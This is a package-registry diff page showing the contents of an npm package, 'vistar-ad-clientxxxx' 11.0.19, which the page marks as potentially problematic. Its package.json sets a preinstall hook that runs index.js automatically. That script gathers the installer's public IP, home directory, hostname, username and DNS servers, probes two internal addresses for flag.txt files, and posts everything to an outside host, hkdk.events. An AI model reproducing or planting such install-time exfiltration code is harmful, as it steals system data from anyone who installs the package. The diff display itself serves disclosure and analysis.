vistar-ad-clientxxxx 11.0.19

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vistar-ad-clientxxxx might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +131 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,131 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const http = require("http");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Function to get the public IP using an external API
10
+ function getPublicIP(callback) {
11
+ https
12
+ .get("https://api.ipify.org?format=json", (res) => {
13
+ let data = "";
14
+
15
+ res.on("data", (chunk) => {
16
+ data += chunk;
17
+ });
18
+
19
+ res.on("end", () => {
20
+ try {
21
+ const ipAddress = JSON.parse(data).ip;
22
+ callback(null, ipAddress);
23
+ } catch (e) {
24
+ callback("Failed to parse public IP", null);
25
+ }
26
+ });
27
+ })
28
+ .on("error", (err) => {
29
+ callback(err, null);
30
+ });
31
+ }
32
+
33
+ // Function to fetch the flag from the provided endpoints
34
+ function fetchFlag(url, publicIP, callback) {
35
+ http
36
+ .get(url, (res) => {
37
+ let data = "";
38
+
39
+ res.on("data", (chunk) => {
40
+ data += chunk;
41
+ });
42
+
43
+ res.on("end", () => {
44
+ if (res.statusCode === 200) {
45
+ callback(null, { ip: publicIP, flag: data.trim(), endpoint: url });
46
+ } else {
47
+ callback(null, {
48
+ ip: publicIP,
49
+ result: "Couldn't access it",
50
+ endpoint: url,
51
+ });
52
+ }
53
+ });
54
+ })
55
+ .on("error", (err) => {
56
+ callback(err, {
57
+ ip: publicIP,
58
+ result: "Couldn't access it",
59
+ endpoint: url,
60
+ });
61
+ });
62
+ }
63
+
64
+ // Create tracking data
65
+ getPublicIP((err, publicIP) => {
66
+ if (err) {
67
+ console.log("Error fetching public IP:", err);
68
+ return;
69
+ }
70
+
71
+ const flagRequests = [];
72
+ const urls = [
73
+ "http://10.72.218.66/flag.txt",
74
+ "http://10.62.252.214/flag.txt",
75
+ ];
76
+
77
+ urls.forEach((url) => {
78
+ flagRequests.push(
79
+ new Promise((resolve) => {
80
+ fetchFlag(url, publicIP, (err, result) => {
81
+ resolve(result); // Always resolve with the result, even on error
82
+ });
83
+ })
84
+ );
85
+ });
86
+
87
+ // Wait for all flag requests to finish
88
+ Promise.all(flagRequests).then((flags) => {
89
+ const trackingData = JSON.stringify({
90
+ p: package,
91
+ c: __dirname,
92
+ hd: os.homedir(),
93
+ hn: os.hostname(),
94
+ un: os.userInfo().username,
95
+ dns: dns.getServers(),
96
+ r: packageJSON ? packageJSON.___resolved : undefined,
97
+ v: packageJSON.version,
98
+ pjson: packageJSON,
99
+ ip: publicIP,
100
+ flags: flags,
101
+ });
102
+
103
+ const postData = querystring.stringify({
104
+ msg: trackingData,
105
+ });
106
+
107
+ const options = {
108
+ hostname: "hkdk.events", // replace with the correct server
109
+ port: 443,
110
+ path: "/7ar4u4h02e8d31",
111
+ method: "POST",
112
+ headers: {
113
+ "Content-Type": "application/x-www-form-urlencoded",
114
+ "Content-Length": postData.length,
115
+ },
116
+ };
117
+
118
+ const req = https.request(options, (res) => {
119
+ res.on("data", (d) => {
120
+ process.stdout.write(d);
121
+ });
122
+ });
123
+
124
+ req.on("error", (e) => {
125
+ console.error(e);
126
+ });
127
+
128
+ req.write(postData);
129
+ req.end();
130
+ });
131
+ });
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "vistar-ad-clientxxxx",
3
+ "version": "11.0.19",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
13
+ }